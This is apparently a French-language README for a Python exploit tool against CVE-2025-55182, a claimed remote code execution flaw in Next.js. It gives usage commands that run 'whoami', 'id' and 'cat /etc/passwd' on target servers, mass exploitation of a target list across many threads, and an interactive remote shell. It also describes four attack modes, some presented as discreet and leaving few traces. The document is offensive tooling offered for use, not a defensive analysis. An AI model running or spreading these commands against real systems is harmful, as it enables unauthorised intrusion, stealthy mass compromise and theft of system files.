
Exploit Python pour CVE-2025-55182 (RCE Next.js) avec scan de cibles unique ou par lots, exécution de commandes, shell interactif et 4 modes d'attaque avec prise en charge du codage Base64.
Cet outil permet de détecter et d'exploiter la vulnérabilité CVE-2025-55182 (supposée être une vulnérabilité d'exécution de code dans le framework Next.js ou associé). Il prend en charge la détection par lots sur cible unique/multiple, l'exécution de commandes, un shell interactif, etc., avec 4 modes d'attaque adaptés à différents scénarios, et propose des configurations flexibles comme l'encodage Base64 des commandes, le proxy, la journalisation.
La vulnérabilité CVE-2025-55182 pourrait exister dans des applications basées sur Next.js. Elle permet, par la construction de requêtes malveillantes, de modifier la logique d'exécution de _response, d'injecter un appel au module child_process et d'obtenir une exécution de commande à distance (RCE). L'outil envoie des données de formulaire spécialement conçues pour déclencher la vulnérabilité et renvoyer le résultat de la commande exécutée.
requestspip install requests
# Exécuter la commande whoami (mode d'attaque 1 : avec réponse)
python CVE-2025-55182-exploit.py -u https://target.com -c "whoami"
# Exécuter une commande système (encodage Base64 pour éviter l'interception de caractères spéciaux)
python CVE-2025-55182-exploit.py -u https://target.com -c "cat /etc/passwd" -b
# Mode réponse complète (décodage Base64 du résultat)
python CVE-2025-55182-exploit.py -u https://target.com -c "ipconfig" -p 4
# Lire les URL cibles depuis un fichier, exécuter la commande id en masse (20 threads)
python CVE-2025-55182-exploit.py -l targets.txt -c "id" -t 20 -o result.log
# Se connecter à la cible et entrer dans une ligne de commande interactive (prise en charge du basculement Base64)
python CVE-2025-55182-exploit.py -u https://target.com -s
# Utiliser le proxy Burp Suite pour analyser le trafic
python CVE-2025-55182-exploit.py -u https://target.com -c "whoami" --proxy http://127.0.0.1:8080
| Paramètre | Abrégé | Obligatoire | Description | Exemple |
|---|---|---|---|---|
--url | -u | Non | URL cible unique (à choisir avec -l ; priorité à -u si les deux sont fournis) | -u https://target.com |
--url-list | -l | Non | Fichier contenant la liste des URL cibles (une URL par ligne, sans protocole autorisé, complétée automatiquement en http/https) | -l urls.txt |
--payload | -p | Non | Mode d'attaque (par défaut : 1) 1=réponse (execSync) | 2=pas de réponse (execSync) 3=pas de réponse (exec) |
--cmd | -c | Non | Commande système à exécuter (obligatoire en mode batch ou cible unique ; mutuellement exclusif avec -s) | -c "whoami" ou -c "dir" |
--threads | -t | Non | Nombre de threads pour la détection par lots (par défaut : 10, conseillé ≤ 50) | -t 20 |
--outlog | -o | Non | Fichier de journalisation (par défaut : cve-2025-55182.log) | -o exploit.log |
--base64 | -b | Non | Encode la commande spécifiée par -c en Base64 (évite l'interception de caractères spéciaux) | -c "cat /etc/passwd" -b |
--cmd-shell | -s | Non | Mode shell interactif (uniquement pour cible unique avec -u ; mutuellement exclusif avec -c) | -u https://target.com -s |
--proxy | - | Non | Configuration proxy (prend en charge les proxies HTTP/HTTPS, pour la capture ou le transfert de trafic) | --proxy http://127.0.0.1:8080 |
--skip-check | - | Non | Ignorer la vérification de connectivité du proxy (vérification de disponibilité du proxy par défaut) | --proxy http://127.0.0.1:8080 --skip-check |
--time-out | - | Non | Délai d'expiration de la requête (en secondes, par défaut : 10) | --time-out 15 |
| Numéro du mode | Description du mode | Caractéristiques | Scénario d'utilisation |
|---|---|---|---|
| 1 | Réponse (execSync) | Exécution synchrone de la commande, retourne une redirection 303, le résultat est inclus dans l'en-tête de réponse | Vérification rapide de la présence de la vulnérabilité |
| 2 | Pas de réponse (execSync) | Exécution synchrone de la commande, aucun résultat renvoyé (doit être confirmé par d'autres moyens) | Exécution discrète |
| 3 | Pas de réponse (exec) | Exécution asynchrone de la commande, aucun résultat renvoyé (peu de traces, adapté aux opérations sans confirmation) | Attaque par lots discrète |
| 4 | Réponse complète | Exécution synchrone de la commande, résultat encodé en Base64 renvoyé dans le corps de la réponse (décodé automatiquement par l'outil) | Scénario nécessitant la sortie complète de la commande |
En mode -s, les commandes intégrées suivantes sont disponibles :
| Commande | Description |
|---|---|
b64 | Passer en mode commande encodée Base64 |
nob64 | Quitter le mode encodage Base64 |
exit | Quitter le shell interactif |
? | Afficher l'aide |
--outlog, facilitant l'analyse ultérieure ;